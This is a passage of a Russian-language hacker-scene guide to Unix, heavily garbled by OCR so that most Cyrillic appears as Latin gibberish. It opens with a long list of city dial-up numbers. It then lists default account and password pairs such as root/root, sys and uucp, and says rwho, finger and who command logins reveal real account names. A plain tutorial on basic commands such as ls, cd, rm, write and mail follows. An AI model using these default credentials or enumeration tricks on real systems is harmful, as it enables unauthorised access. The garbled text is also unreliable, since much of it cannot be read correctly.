3-26-99
3-17-60
3-21-30
H. YeAHb!: (8439)
58-82-15
58-82-08
58-82-17
58-57-03
58-82-35
58-82-37
Yucrtonoan: (84342)
2-11-26
2-42-35
Kaayra: (08422)
4-83-28
4-20-16
Kupos: (08456)
2-22-11
Koseabck: (08442)
2-11-66
Manosipocaasel: (08431)
4-25-11
OG6HuHCK: (08439)
4-08-20
3-25-50
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KomcomoAbcK-Ha-Amype: (42172)
3-00-60

3-68-38
3-41-75
3-58-57
Knucaoeoack: (86537)
2-36-55
5-94-65
2-36-50
2-35-91
EcceHtyku: (86534)
5-46-21
7-32-26
7-59-02
MuHepaAbHbie BOAbI: (86531)
4-13-98
3-09-58
3-61-71
4-18-91
Naruropck: (86533)
5-94-11
4-13-31
4-13-30
KpacHoaap: (8612)
59-05-78
59-11-22
59-05-79
59-06-04
59-05-80
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KpacHosipck: (3912) 442-70-22
29-50-81 442-80-77
66-11-22 925-82-50
66-14-50 442-64-22

Kypck: (0712) 913-35-71
56-73-47

Mockosckas o6AacTb: (095)
56-07-56 229-61-04
56-73-48 229-77-69
56-73-53
CoAHeuyHoropck: (226)
56-73-55 71-699
56-73-57 Yexoe: (272)
56-73-58 62-551
56-73-50 CrynuHo: (264)

Avineux: (0742) 43-406
72-20-49 MypMaHck: (8152)
72-07-92 23-19-53
72-25-95 33-22-39

Mocksa: (095) 33-22-67
975-84-03 HaAbunk 86622
924-74-85 2-72-49
921-21-03 2-66-11
924-85-69 HoBocu6mpck: (3832)
442-70-88 23-55-38
206-83-41 10-11-62
442-82-77 23-55-01
925-26-29 23-46-72
442-83-88 23-55-10
442-64-77 23-55-47

442-85-77
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Hosropoa: (81600)
7-32-24

7-62-94
Open: (08622)
5-30-65
5-89-57
5-30-01
5-30-83
OpeH6ypr: (3532)
72-29-30
72-70-35
72-29-31
41-89-98
Mepmb MMCU: (3422)
90-03-30
90-03-16
PoctoB-HO-AOHY: (8632)
69-69-81
64-57-66
64-45-50
66-25-82
Psi3aHb: (0912)
93-03-01
77-55-73
CaHkT-MNMetepbypr: (812)
325-16-26
311-08-01
277-08-19

76

PYKOBOACTBO AAS HOMMHOIOLLMX

CapaHck: (8342)
17-94-11

17-60-70
Coun: (8622)
99-97-10
99-97-99
92-22-82
Craeponoasb: (8652)
35-79-06
35-68-65
35-41-42
35-75-05
35-74-18
35-15-79
35-67-24
Teepb: (08222)
55-02-52
33-05-28
TiomeHb: (3452)
26-21-09
26-23-45
26-21-00
26-18-00
24-48-31
Haabim: (34595)
33-186
32-051
31-889
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YraH-YA3: (30122)
6-29-29

6-62-33
6-27-27
Yoda: (3472)
52-62-10
52-62-20
37-73-40
Xa6aposck: (4212)
21-81-47
33-29-99
38-62-76
YeAq6uHck: (3512)
38-07-15
60-56-63
38-07-16
38-07-17
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Cucrtema Unix

fAaBa 1.
OnepauuoHHAsa cUcTemMa NPorpaMMmUCTa

UNIX, xoHeuyHo, 6611 n306pereH AT&T rae-to B 60-bIX KaK «oIepa-
LIMOHHAs cUCTeMa mporpaMmucTas. Bo BpemeHa, korga uzoopeiau UNIX, ata
11eJIb He ObL1a, BepOSITHO, JOCTUTHYTA, 3aTO Terephb, moxoxe, UNIX craga OC
nporpammucta. Kak yxe roBopuaoch, 3T0 MHOro3alayHasi U MHOTOT0JIb30Ba-
tenbckasa OC. K Tomy ke oHa HamucaHa Ha s13biKe C, BO BCSIKOM cllydae, He-
Majiasl €e 4acTh, YTO JejIaeT ee IOPTaTUBHOM oNepallMoHHON cucTeMoil. Mbl
3HaeM, uTo MC-JIOC cootBeTcTBYyeT KoMnbloTepaM IBM u ux kiioHaM, Bep-
Ho? Taxk BoT, ¢ UNIX cutyauus nHas. OH He COOTBETCTBYET HUKAKUM KOM-
MblOTEPaM, MOCKOJIbKY ObUT afalTUPOBaH KO MHOTUM, U CYIIECTBYeT MHOTO
BapuanToB UNIX (To ectb UNIX, n3aMeHeHHBIN IIpoaaBLOM, WA HEUTO I10-
nobHoe). Hekotopsie AT&T kommbiorepsl padorator mog UNIX, a HekoTo-
peie mox MC-JJOC (AT&T 6300). Paboune cranumu Sun paGoTaiOT IMOL
SunOS, 3to Toxe BapuanT UNIX, a HekoTopble VAX-KOMIBIOTEPHI YIIPABIS-
1otca Ultrix, ato VAX-Bepcus UNIX. 3anoMHuTe: HE3aBUCUMO OT TOT0, KaK
HaspiBaeTcsl omepanuoHHas cuctema (BSD, UNIX, SunOS, Ultrix, Xenix
U T.1.), OHU BCE UMEIOT MHOTO 00111er0 BpO/ie KOMaH/l, KOTOPbI€ NCIOJIb3YIOT-
csl orepaliMoOHHOM cructemMoil. HekoTopble BapMaHThl MOTYT UMETh OCOOEHHO-
CTU, KOTOPBIX HET B JPYTUX, HO OHU B OCHOBHOM CXOXH B TOM, YTO UMEIOT
MHOTO OIMHAKOBBIX KOMaH/ U (aiinoB naHHbIX. Korga Bam KTO-TO CTaHeT 10-
ka3piBaTh, YT0 UNIX ncnoab3yercss B olpeaeaeHHbIX TUIIaX KOMIIbIOTEPOB,
TO 3TO, BO3MOXHO, U TaK, HO IOMHUTE, YTO HEKOTOPbIE KOMIBIOTEPHI UMEIOT
GoJiee OHOU orepallMOHHON cucteMbl. Hampumep, BaMm MOTYT cKa3aTh, UTO
UNIX cootBerctByeT KommbioTepaM VAX Tak ke, kak MC-JIOC cooTBeT-
ctByeT IBM-kj1oHamM. DTo HEBEPHO, U MBI YIIOMHUHAeM 00 3TOM TOJIbKO ITOTO-
MY, YTO BUJEJIM MHOTO COOOILIEHUN C MOJOOHBIMU CPAaBHEHUSIMU, KOTOPbIE
CMYILAIOT IToJIb30BaTeiei, Koraa oHu BuasIT VAX, padoraromuii mogq VMS.

fAaBa 2.
NaeHtudukaums Unix
C aToro MmomeHTa MbI OyaeM 0603HauatTh Bce BapuaHTel UNIX mpocTo

kak UNIX, tak uto korma 6yaer roBoputhest uto-to 0 UNIX, To, Kak npaBu-
JIo, OyIyT moipa3yMeBaThCsl BCE BApUaHTHI (TO ecTh BapuaHThl Unix System V:
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BSD, SunOS, Ultrix, Xenix u T.11.), €CJI1 TOJIbKO SIBHO He Oy/leT yKa3aH KOH-
KPETHBIN.

Teneps mopa pacckasarb, Kak Unix oosi4Ho Bac npuBeTcTBYeT. CHava-
Ja, Xoraa BeI Bei3biBacTe UNIX mimu coemnHsieTech ¢ MallIMHOM, Te OH pabo-
TaeT, Bbl OOBIYHO BUANTE TaKYIO MOACKA3KY:

Login:

[Topsinok. D10 03HaA4aer, 4To 3TO, geposmHo, Unix, XOTSI MUMEIOTCS
BBS, criocoGHbIe nMUTHpOBaTh login-nipoueaypy OS (onepallMOHHOM CUCTe-
MbI) U 3aCTaBJISITh HEKOTOPBIX BEPUTH B TO, UTO 3TO U ecTh Unix. (Xa!) Heko-
topbie Unix'bl IpeACTaBISIIOTCS WIIM BBIIAIOT Tepea Login: coobleHue Bpoe
TaKoro:

Welcome to SHUnix. Please log 1in.

(Jo6po noxanosate B SHUNIX. IMoxanyiicTa 3aperucTpupymrech)
Login:

Mnn uto-to B 3ToM poze. Unix'bl cBOOOAHOIrO OOCTyIa (Hampumep,
B BBS cBoGomgHOro nocrymna) coo0mar BaM, Kak Ha0 perucTPUpPOBaThCs, €C-
JIX BBl — HOBBIH 1osIb30Bareiib. K coxaneHuro, sta riasa He o Unix'ax cBo-
6OIHOTO TOCTYIa, HO O HUX MBI KPAaTKO ITOrOBOPUM T03Xe, Harpumep 00 aj-
pece UUCP/USENET/BITNET m1st mo4THhl.

Hrak. Bol no6panuck no perucrpauuu (login)! Terepb Bam Hal0 BBeC-
TU ACUCTBYIOIIMEI 3KKayHT (account). OH OOBIYHO COCTOUT U3 8 UM MEHbILIE
cuMBoJIOB. [Tocsie BBoa 9KKayHTa Bbl, CKOpPee BCEro, yBUIUTE MpUTIallieH1e
BBECTHU MapoJib. [IpurnamieHuss MOryT UMeTh Pa3IuuHbIi BUJ, TOCKOJIbKY HC-
XOJIHbI€ KOJIbI JUTsI TPOTrPaMMbl perMCTpallii OOBIYHO MOCTABJISIIOTCSI BMECTE C
UNIX unu noctyrHbl 6ecriatHo. Tak BOT, MOXHO ITOCOBETOBATh TAKOM Mpo-
CTeUIIUI cOCcO0 PerucTpalMu: MOoJyYnuTe SKKAYHT WU MONpoOyiiTe BBECTU
3HAYEeHUs TI0 YMOJYaHUI0. DTU 3HAYEHUSI TTOCTABJISIIOTCSI BMECTE C orepalu-
OHHOI CUCTeMOIi B cTaHAapTHON opMe. BOT crircok HEKOTOPBIX 3HAYEHU A
10 YMOJIYaHUIO:

ACCOUNT NMAPOAb

root root - (penko OTKPHT ANd Xakepos)
Sys sys / system / bin

biu sys / bin

mountfsys mountfsys

adm adm

uucp uucp

nuucp anon

anou anon
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user user
games games
install install
reboot » ni. ie%a
demo demo
umountfsys umountfsys
sync sync
admiu admin
guest guest
daemou daemon

DKKayHTHI root, mountfsys, umountfsys, install u, uHorma, sync — 3To
9KKayHThl KOPHEBOTO YPOBHS. DTO O3HAYaeT, YTO OHU paboTalOT Ha ypOBHE
CHCTeMHOI'0 aAMUHUCTpATOpa WX 1obanbHO. OCcTalbHbIE JIOTMHBI €CTh BCe-
O JIMIIB JIOTUHBI «I10JIb30BATEJIbCKOIO YPOBHSI», M 9TO O3HAYAET, YTO UM MO~
BJIACTHBI JIMIIb (haiiibl/TIPOLIECChI, TPUHAMJICKAIIUEe 3TOMY KOHKPETHOMY
nonb3oBaTento. JloruH REBOOT oTHOCUTCS K TaK Ha3bIBaéMbIM KOMaHIHBIM
JIOTMHaM, OH He TporyckaeT Bac B OC, a IpoCTO-HAMpPOCTO BHITIOJHSIET CBSI-
3aHHYIO C HUM ITporpaMmy. Kak rpaBuiio, oH aejaeT UMEHHO TO, YTO 0003Ha-
yaeT, — Mmepesarpyxaer cucteMy. Bo3aMoOXHO, OH He CTaHAapTeH BO BceX
IOHukcax, Ho ero moxHo yBuaeTh B FOHukcax UNISYS, a Takke B cucremax
HP/UX (Hewlett Packard Unixes). [Toka 4TO 3T 3KKayHTbI HE 3alUILEHBI
MapoJIsSIMU, YTO Ha Halll B3[JISIT BeChMa TIIYIIO.

KomMmaHAHbI@ AOTMHbI

CylIleCcTBYIOT «KOMaHIHbBIE JIOTUHBI», KOTOPbIE, TTOJOOHO JIOTHUHY Ie-
pe3arpy3ku (reboot), UCTIONHSIIOT KOMaHIy M OTKJTIOYAIOT Bac OT CUCTEMBbI, He
MO3BOJISISI TTOJIB30BATHCSI MHTEPIPETaTOPOM KoMaHa. Hanmnuuem Takux Jioru-
HOB IeYajbHO 3HaMeHUTHI KoMIbioTepbl BSD 1 MIT (MaccauyyceTckoro tex-
HOJIOTMYECKOT0 MHCTUTYTa). BOT CIIMCOK HEKOTOPBIX:

* rwho — mokasaTh, KTO B OHJIaliHe
* finger — 1o xe
. who — 10 Xe

OnHu BechMa ITIOJIC3HBI, ITOCKOJbKY BbIAAIOT CIIMCOK 3KKAYHTOB ITOM-
KJIFOYEHHBIX MOJIb30BATECii U TEM CaMbIM IMOKAa3bIBAIOT p€ajIbHO CYHICCTBY-
IOIIME S9KKAYHTHI.

Owmnbkun

Korma BeI BBeieTe OIMMOOYHBIN SKKAyHT/TIapoJib WX U TO, U IPYTOe,
chcTeMa BbIIACT coobIieHne o0 ommmoke. OObIYHO 3TO coobiieHue «login
incorrect».
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Korgma KoMIbroTep BBIIACT TaKOE COOOIIEHWE, 3TO 03HAYAET, YTO BBI
OIMOJIMCH U BBEJIU MJTW HEBEPHBIN SKKAyHT, MU BEPHBIN 9KKAYHT, HO HEBEp-
HBIA TTaposib. [10 OYeBUAHBIM MPUYMHAM CHCTEMa He CTaHET BaM IOJCKAa3bl-
BaTh, KaKyl0o UMEHHO OIIMOKY BbI HONYCTHIU. KpoMe Toro, Korma BBl peru-
CTpUpPYeTeCh C OIIMOKOI, OOHOBIISIETCST (hailyl KypHaja PEerHCTpaluu, U 00
3TOM y3HaeT CUCAIMUH.

Jpyroe coobmieHne o6 ommbdke — 310 «Cannot change to home direc-
tory» nnu «Cannot Change Directory». OTo o3Hauaer orcyrcTBue «home
directory», To eCTh «<KOPHEBOTO» pa3leia 9KKayHTa, TO eCTh pa3ziesa, U3 KOTo-
poro Bbl HaunHaete padoty. B JIOC BbI craptyete u3 A:\ unu C:\, wiu emie
oTKyna-To, a B FOnukce — u3 /homedirectory. (Ilpumeuanue: B FOHUKCE B pa3-
Jiesiax ucrnosb3yercst / (MpsiMoii ¢31i), a He \ (00paTHblit ciasi)). bonbiinH-
CTBO CHCTEM OTKJIIOUMT BacC IOCJIe TAKOTO MTPOKOJIa, HO HEKOTOPBIE COOO0IIIAT,
YTO IMOMECTST Bac B KOpHeBo# paszzaen ['/'].

Hpyroe coobiienue 06 omudke «No Shell». OHO o3Havyaer, 4TO IJIsI
3TOro KOHKPETHOI'O 3KKayHTa He ompeaeneH «shell», To ecThb «000I04YKa».
O Heli MBI TOTOBOPUM TO3HEE. BOJBIIMHCTBO CUCTEM OTKJIIOYUT Bac Mocie
TaKOTO COOOILEHUsI, HO HEKOTOpbIE COOOIIAT, YTO CTAHYT HCMOJb30BaTh
00BIYHYI0 (CTaHOApTHYIO) 000J04Ky, BbigaB «Using the bourne shell» wimu
«Using sh».

Anasa 3.
SKKAYHTbI

Hanerock, 3Ta r71aBa MOMOXET BaM TOHSITh MMOJb30BATEILCKYIO CTPYK-
Typy cpenbl FOHuUKC.

Taxk Bot, cuntaiite, uro FOHMKC MMeeT aBa ypOBHS O0€30MacHOCTH: a0-
COJIIOTHYIO BJIACTh Y OOBIYHBIN IT0JIb30BaTe/Ib. AOCOIIOTHOI BJIAaCcThIO 00JIaga-
IOT TOJIb30BaTEIM KOPHEBOTO YPOBHSI.

Terepp nmaBaiiTe MBICTUTH YUCIaMK. FOHUKC accolMuUpyeT 4Yucia
C UMEHaMM 3KKayHTOB. KaXmplil KKayHT MMeeT HOMep. DTOT HOMEp eCTh
UID (uneHTuduKaTOp MOJAb30BaTEs) 9KKAyHTa. ¥ KOPHEBOTO MOJIb30BaTEs
UID — 5710 0 (HOMB).

Kaxawriit axkkayHT ¢ UID = 0 6yaetr uMmets goctyn K KopHio. KOHuKc
00pabaTbIBacT He UMeHA 9KKAyHTOB (JIOTMHOB), a CBSI3aHHBIE C HUM YMCJIA.
Hanpumep, ecau Bam UID = 50, u emre yeii-to UID toxe 50, To BoI 00a nMme-
eTe abCOJTIOTHYIO BJIACTb IPYT HaJI IPYTOM, HO TOJIBKO Bbl, I HUKTO MHOIA.
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hAaBa 4.
O6BOAOYKM

O06o04ka — 3TO WCITONHSIEMasl TporpamMMma, KOoTopasi 3arpyxKaeTcs
U HAYMHAeT paboTaTh B YOHOBOM PEXMME, KOT/a MOJb30BaTe/Ib BXOJUT B CU-
creMy. Takoil «000I04KOI» MOXET OBbITh JIt00asi UCIIOIHsAeMAasl TIporpaMMma,
yKazaHHasi B TOJIb30BaTesibckoM (aiine «passwd». Kaxmapiii 1OorMH MOXeT
WMETH CBOIO YHUKAJIbHYIO «00010uKy». Maem nanwiie. O6o0uKka, ¢ KOTOpOit
MBI OOBIYHO OyzmeM paboTaTh, — 3TO MHTEPIIPETATOp KOMaHHA (KOMaHIHBIA
npoueccop). MHTepnperaTop KoMaHa — 35TO HeuTo, mnoxoxee Ha COM-
MAND.COM B MS DOS, koTopblit oOpabaThiBaeT KOMaH/bl U TepechlIaeT
UX B s/po (orepalroHHylo cuctemy). Kak yxe Obl1o cka3aHO, 000JI0YKOit
MOXET OBITh JIt00asi MporpaMma, HO BaM HY>X€H MMEHHO WHTEPIIpETaTop KO-
MaH. BoT nepedyeHb 0OBIYHBIX 000JI0YEK, KOTOPBIE Bbl OOHAPYXKUTE:

* sh — 310 «poaHast» obosouka, 6a3oBbiii «<COMMAND.COM»
Unix. OH UMeeT «CKPUIITOBBI» SI3bIK, KaK U OOJIBIIMHCTBO
KOMaHIHBIX IIpolieccopoB cucteM Unix.

. csh — 310 0060s10uKa «C», MO3BOJISAIONIAS BBOIUTH
C-110m00HBIe KOMaH/IHI.

* ksh — 2710 0600uKa korn. IIpocTo ele oguH UHTEPIIPETATOP
KOMaHI.

* tcsh — 310 060JI0UKa, uctoab3yemas B MIT. [To3Bossier
penaKTUpoOBaTh KOMaHIbl.

. vsh — Bu3yanbHasa 000109Ka, paboTalomiast Y4epe3 MEHIO.
Heuro Bpone... Windows st DOS.

* rsh — restricted (orpaHuyeHHas) Wiu remote (yaaaeHHas)
oboJiouka.

EcTb U1 MHOXECTBO JIpYTrMx 00OJIOUEK, BKJIOYAsl «CaMOJEIbHbIE», TO
€CTb MPOrpaMMBbl, HalTMCaHHbIe BiaaeablieM Unix Wiy moa KOHKPETHYIO Bep-
cuto Unix, © Bce OHU HecTaHIAPTHbIE. 3alIOMHUTE, 000J0YKa €CTh BCEro
JIMIIB MporpaMMa, KOTOPOii BaM MPUIETCs TTOJIb30BaThCs, M KOTIa OHa KOHYA-
€T paboTy, Bac OTKJIIOYAIOT OT CUCTEMbl. XOPOIIWI MpUMep CaMOAeIbHOMI
o6osioukn MoxxHO Haiith Ha Eskimo North, atro Unix cBob6ogHOrO AocTymna.
O6osiouka Ha3biBaeTcs «Esh», 1 310 HeuTo Bpoe «ogHOKIaBuIIHO BBS», HO
9TO, TEM HE MeHee, BCe PaBHO 000JIOUKaA.

HexoTtopble KOMIaHWM WCIIONB3YIOT B KavyeCTBE TOJb30BaTEIbCKUX
000J109eK TeKCTOBBIC PEAAKTOPHI, 0a3bl TAHHBIX U TPOYUN COPT — YTOOBI
TIPEIOTBPATUTD OIMMOKN HEOTTBITHBIX ITOJTb30BaTeseil M OOJIETYUTh UM KU3Hb.
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Kpome Toro, B KauecTBe 000J10UKM MOXKET UCITOIb30BaThcsl BBS.

Korza Bbl paGotaete B MHTEpIPETaTOPE KOMaH/I, MOJCKa3Ka OObIYHO
BBIIJISIIUT TAK:

$

Kornma BbI KOpHeBOﬁ IOJIB30BATCJIb, IMOACKAa3Ka OOBIYHO BBITJISIAUT
TaK:

#

Mo:kHO 3a1aTh 3HaUeHUE TTepeMeHHOoM PS1 11g XxpaHeHUs TOACKA3KU.
Hanpumep, eciiu PS1 3amana kak «HI:», To 1 Baiia nomckaska OyaeT BbILJIsI-
JIETh TaK Xe:

HI:

fAaBa 5.
CneucrvMBOADI

Control-D

Komner daiina. Korga Bel paboTaeTe ¢ MOYTOM MJIM TEKCTOBBIM pefaK-
TOPOM, 3TO 03HAYaeT KOHEI[ COOOIIEHUS UJIN TeKCTOBOTO (aitna. Eciu Bel Ha-
sKMeTe control-d, HaXoasCh B 000JIOUKE, TO BBIAAETE U3 CUCTEMBI.

Control-J
B HCKOTOPBIX CUCTEMAX CpaGaTBIBaeT KakK KjlaBUIllla «BBOI».

@

MHorna o3HayaeT «0OTMEHa».

?

D10 wildcard (macka). MoxeT 0603HayaTh OyKBY. Eciin BbI yKaxeTte
B KOMaHAHOM CTpoKe, cKaxeM, «b?b», To Unix ctaHeT uckath bob, bib, bub,
1 Bce ocTalbHbie OYKBBI/IIM(MPH B MHTepBaje a-z, 0-9.

*

MoxeT o3HavaTh JII000€e Yrciao CUMBOJIOB. Eciu Bel ykaxeTe «hi*», To
970 03HauaeT hit, him, hiiii, hiya u 4To yrogHo, HaunHawIeecs ¢ hi. «H*1»
MoxeT 3HauuTh hill, hull, hl 1 9yTo yrogHo, HaunHalomeecs ¢ h 1 KoHYarOIIe-
ecs L.
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0

YkasbiBaer auana3zoH. Ecinu BBect blo,u,i]b, To 310 03HavaeT: bib,
bub, bob. A ecnu BBecTu bla-d]b, To 3TO 3HaUMT: bab, bbb, beb, bdb. [], ? u *
OOBIYHO MCITOJIB3YIOTCS TIPY KOMTMPOBAHWH U YIaJeHUN (haiiJIoB UM BBIBOIE
CITMCKOB (haiiyIoB B paszeliax.

B Unix yuuteiBaeTcs peructp. 91o o3HaudaeT, uTo «Hill» u «hill» — BoBce
HE OJTHO U TO Xe. DTO TMO3BOJISIET XpaHUTh MHOTO (haiiioB, mockosbky «Hilly,
<«hill», «hlll», «hiLl» u Tak nmanee morytr ObITh pasHbiMU (aitnamu. [Toatomy,
MOJIB3YSICh [], BbI JOIKHBI YKa3bIBaTh 3arjaBHblE OYKBbBI, €CJTM NMEHA HY>KHbIX
BaM aityioB nx copepxar. OIHAKO MOYTH BCE MULLIETCS MPOMTMCHBIMYU OYKBaMMU.

AnaBa 6.
KomMaHABbI

Tenepb MBI MepeynCINM HEKOTOphIE Moyie3Hble KoMaHabl Unix. Bce
OyneT BBITJISIAETh TaK, KaK €CJIM Obl Mbl peaJIbHO BBOIMUJIM KOMaH/Ibl 4Yepe3 KO-
MaHJIIHYIO CTPOKY.

Is

IIpocMoTp pasmena. be3 apryMeHTOB 3Ta KOMaHAa IIPOCTO BBIBOIUT
“MeHa (hailyIoB B OAHY WJIM HECKOJBKO KOJIOHOK, B 3aBHCHMMOCTH OT TOTO,
K KaKOif UMEHHO BEPCHHU ITPOrPaMMBI Is BBI UMeeTe TOCTYII.

ITpumep:

$ 1s

hithere

runme

note. text

src

$

Yepes k1104 -1 BeIBomUTCSA paciirpeHHas nHGopMalus o (aiiiax:
$ 1s -1

rwx--x--x sirhack sirh 10990 runme
U TaK Jajee...

[NosicHeHwust:
* IWX--X--X — 3T0 ()aAJIOBBII JOCTYII.

* sirhack sirh — 310 Bagenen daiina v rpymnmna, B KOTOpoii (aiin
Haxoaurtesl. sirhack = Bnageretr, sirh = nonb3oBarebCKast
rpyrnmna, B KOTOpoii (aiin Haxoaurcsl.
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* 10990 — pasmep ¢aiina B GaitTax.

* runme — UM aiina.

cat

BoeiBonuT daitn Ha skpaH. CienyeT MPUMEHSITh K TEKCTOBBIM (haiiyiaM.
ITpuMeHUTENLHO K OMHAPHBIM (haiijlaM MCITOJIb3YEeTCSl TOJHKO UYTOOBI M3MIe-
BaThCs HaJ MoJib3oBaTesiMu. [1pumep:

$ cat note.txt
970 00pasel TEKCTOBOro Gaina

$
cd

CMeHuTh pasfien (AUpeKTopHuio). 3amuchiBaeTcsl MpUMEpHO Tak: cd
/dir/dirl/dir2/dirn. dirl/... — 3T0 uMeHa pazaenoB. JlomycTUM, Mbl XOTUM Me-
pEeWTU B KOPHEBOW pa3ie:

$ cd /
*MOPANOK, S yKe TaMx
$ 1s

bin

Sys

etc

temp

work

usr

KcTaTh, BCe, 4YTO BbWEe, - 9TO pas3aens
$ cd /Jusr

$ 1s

sirhack

datawiz

prophet

src

violence

par

phiber

scythian

$ cd /usr/sirhack
$ 1s

hithere

runme

note. text

src

$
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Tak BOT, MOJIHOE UMSI pa3nesia BBOAUThL He Hano. Eciiu Bbl HaXoauTech
B pa3jiesie U XOTUTE MonacTe B (ITOI)pasiell, KOTOPbIi HaXOAMUTCS 3MIECh XKe
(ckaxeM, «src»), To MoxeTe BBeCTH «cd src» [06e3 «/»]. BMmecto BBoma «cd
/usr/sirhack/src» u3 sirhack dir Bbl MoxeTe BBecTU «cd Src».

cp

Konupyer ¢aiin.

CuHTtakcuc: cp u3_daiina B_daiin

$ cp runme runme?2
$ 1s

hithere

runme

note. text

src

runme2

YT06BI CKOTIMPOBATH B APYTO paszel, MOXKHO YKa3aTh IMOJTHBIN MyTh.

$ cp runme /usr/datwiz/runme

myv
INepeumeHoBaHue daiina.

CHUHTaKCHC: mV cTapoe_uMs HOBOE_HMsI

$ mv runme2 runit
$ 1s

hithere

runme

note. text

src

runit

MoxXHO TTlepeMMEeHOBBIBATh (haiijibl B APYTUX pasaesax:

$ mv runit /Jusr/datwiz/run
$ 1s

hithere

runme

note. text

src

$ 1s /usr/datwiz

runme

run
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pwd

[lepexon B TEKyIIUA pa3aen
$ pwd

/usr/sirhack

$ cd src

$ pwd

/usr/sirhack/src

$cd ..

$ pwd

/usr/sirhack

(«..» 03HA4YaeT «MCNONb30BATb UMA pasfena Ha OAWH YPOBEHb Bbllle» )
$ cd ../datwiz

(o6o3Ha4aeT cd /usr/datwiz)
$ pwd

/Jusr/datwiz

$ cd $home

(nepenTtn B pasgen home)

$ pwd

/usr/sirhack

m
Ynanute daii.

CuHTakcuc: rm uMsi_¢aiiia Uiy rm -r umsi_pasaea

$ rm note.text
$ 1s

hithere

runme

src

$

write
[ToGonTats ¢ npyrum nosb3zoBateneM. Hy, «<HanmucaTb» Apyromy mnojib-

30BaTeIno.

CuHTakcuc: write IMs_10J1630BaTe s

$ write scythian

scythian has been notified (scythian 6bin yBegomneH)
MpuseT Scy! Kak pena??

Message from scythian on tty001 at 17:32

MpuseT!

q: Kak Xn3Hb?

scy: [la Bpoae HOPManbHO.
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q: MHe nopa gonuceiBaTb 3TOT TEKCT.

scy: ok
q4: control-D [Ans Bbixoga M3 Nporpammbl]
$

who (w, who, whodo)
BI:IBO)II/IT CITMCOK T€X, KTO B OHJIAMHE:

$ who

login term logontime
scythian + tty001 17:20
phiber0 + tty002 15:50
sirhack + tty003 17:21
datawiz - tty004 11:20
glitch - tty666 66:60

$

Komanna who MoXXeT BbImaBaTh pa3Hylo HH(MOPMAIIHIO. «+» 03HaJaeT,
YTO BBl MOXETE Write Ha 3TOT TEPMUHA, a «<—» — YTO HE MOXKETe.

man

Iloka3biBaeT IIOACKa3Ky O KOMaHIE.

CuHTaKCcuC: man HUMA_KOMAHbI. D10 IIporpaMma IIOMoOIIu. Ecnu xotu-
T€ Y3HaThb, KaK ITOJIb30BaTLCSA WhO, TO BBCIOUTE!:

$ man who
WHO(T) XxX......

" MMOJYYUTE ITOACKA3KYy.

sity

3amaeT XxapaKTepuCTUKM TepMUHaia. BaM nmpuaercst BBECTH «man stty»,
MOCKOJIbKY KaXIbli1 stty, Toxoxe, oTJau4eH ot aApyroro. [Ipumep:

$ stty -parenb

YTOOBI yCTAHOBUTD NapaMeTphl AaHHBIX N,8,1. MHorue Unix mo ymos-
yaHuIo pabortaroT npu e,7,1.

sz, 12
IMocnaTs/momyuuTh Yyepe3 zmodem.

rx, sx
IMocnaTe/momyunTh Yyepe3 xmodem.
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rb, sb

[Tocnate/moayunTthb yepes batch (makeTHblit) ymodem.

O1H 6 iporpaMm MoryT B Unix ObITb, 8 MOTYT U HE OBITh.

umodem
IMocnarb/monyauts yepes send/receive via umodem.
$ sz filename

ready to send... (roToB nocnatb...)

$ rz filename

please send your file... (noxanyicTa, nownute Baw ¢ann...)
..etc.. (v T.4.)

ed

TexcroBblii penakTop.
CuHrakcuc: ed ums_caiina.

st codmanust HoBoro (aitna nmpocto BBenute ed ums_caiina

$ ed newtext

0

* a

970 cTpoka 1

970 cTpoka 2

[control-z]

x» 1 [4T0bb yBMAETL CTPOKy 1]
970 cTpoka 1

x a [npogonxaem [06aBNATH]
970 cTpoka 3

[control-z]

«0a [pobasnTb nocne ctpoku 0]
9710 MEPBAA cTpoka
[control-z]

1,41

9710 MEPBAA cTpoka

9710 cTpoka 1

970 CcTpoka 2

970 cTpoka 3

* W

71

* q

$
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B nannom IIPUMEPE UCITOJIb30BAINCH:

* 71 — uKcIo 3anrMcaHHbIX OANTOB.

* a — 100aBUTh

* 1 — mpocMoTp

* # — HareyataThb HOMEp CTPOKH

* W — 3amnucarb

* 1 fname — 3arpy3uts daiin fname

* s fname — coxpaHuTb ¢ UMeHeM fhame
* W — 3anucarh B TEKYLIUiA (aiia

* J — BBIXOJ

mesg

BxittouaeT/BbIKJIIOYAET pa3pellieHue «MUcaTh» (Write) Ha Balll TepMU-

Haul (pa3peliaer yar).

®opMar: «mesg y» (1a) WK «mesg N» (HET).

ccC
Kommunsitop Cu.

chmod
CMmeHa «pexxuMa» (aiina. Ipyrumu cioBaMu, CMEHa JOCTYTIa.

Cunrakcuc: chmod mode filename (chmod pexum ums_ aiina)
$ chmod a+r newtext

Tenepb Bce MOTY UATaTh newtext:

. a — all (Bce)

* r — read (4UTaTh).

chown
CMeHUTD BIaaenbla ¢aiiia.
Cunrakcuc: chown Baanesen filename

$ chown scythian newtext

$
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chgrp

CwMeHuTh rpynny daiina.

Cunrakcuc: chgrp group file

$ chgrp root runme

$

finger

BriBecT OCHOBHYIO MH(OPMALIMIO 00 SKKAyHTE.

®opwmar: finger uMsA_nosb30BaTes

grep
Hckats B daiiie 11enoYKy CUMBOJIOB.
CuHrakcuc: grep nenouka file

$ grep 1 newtext

9710 cTpoka 1

$ grep NEPBAA newtext

910 MEPBAA cTpoka

$ grep "NMEPBAG line 1" newtext
$

mail
O‘iCHb II0JIE3HAA yTUJIMUTA. BbI YK€ HaBE€pHsIKa JoragajiucChb 110 UMCHU,

nj1s1 yero oHa. Mx cyiiectByeT Heckosibko, HanmpuMep, ELM, MUSH u MSH,
Ho 0a30Basl MOYTOBAs MporpaMma HasbiBaeTcs mail. Kak eil moib3oBaThCs:

mail username@address
WA

mail username

AT

mail

WA

mail addr1!addr2!addr3!user

«mail username@address» — Takasi 3aI1Ch UCIIOJIb3YETCS IJISI TOCHLUIKU
IOYTBI KOMY-TO B Apyroi cucrteme. OobraHO 310 npyroit UNIX, Ho HekoTo-
pbie DOS- u VAX-mammnsl MoryT npuauMath Unix Mail. Korna Bbl ucnonib-
3yeTe «mail user@address», To Ballla CUCTEMA 04X4CHA UMETh «YMHBbIIM Meitiep»
1 TO, YTO MBI Ha3bIBaEM «IJIAHAMU CUCTEMbI». «YMHBII Meljiep» pacro3HaeT
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«aIpECHYIO» 4aCTb KOMaHIbl U OOBIYHO pacmpdaeT €€ 10 MOJHOIO IMyTHU. 310
MOXKET BbITJIAACTD TaK:

mail phiber@optik

a4 B KOMITBIOTEPE BBITIAAETD TaK:

mail

sys1lunisys!pacbell!sbelllsc1!att.com!sirhacksys

optik!phiber

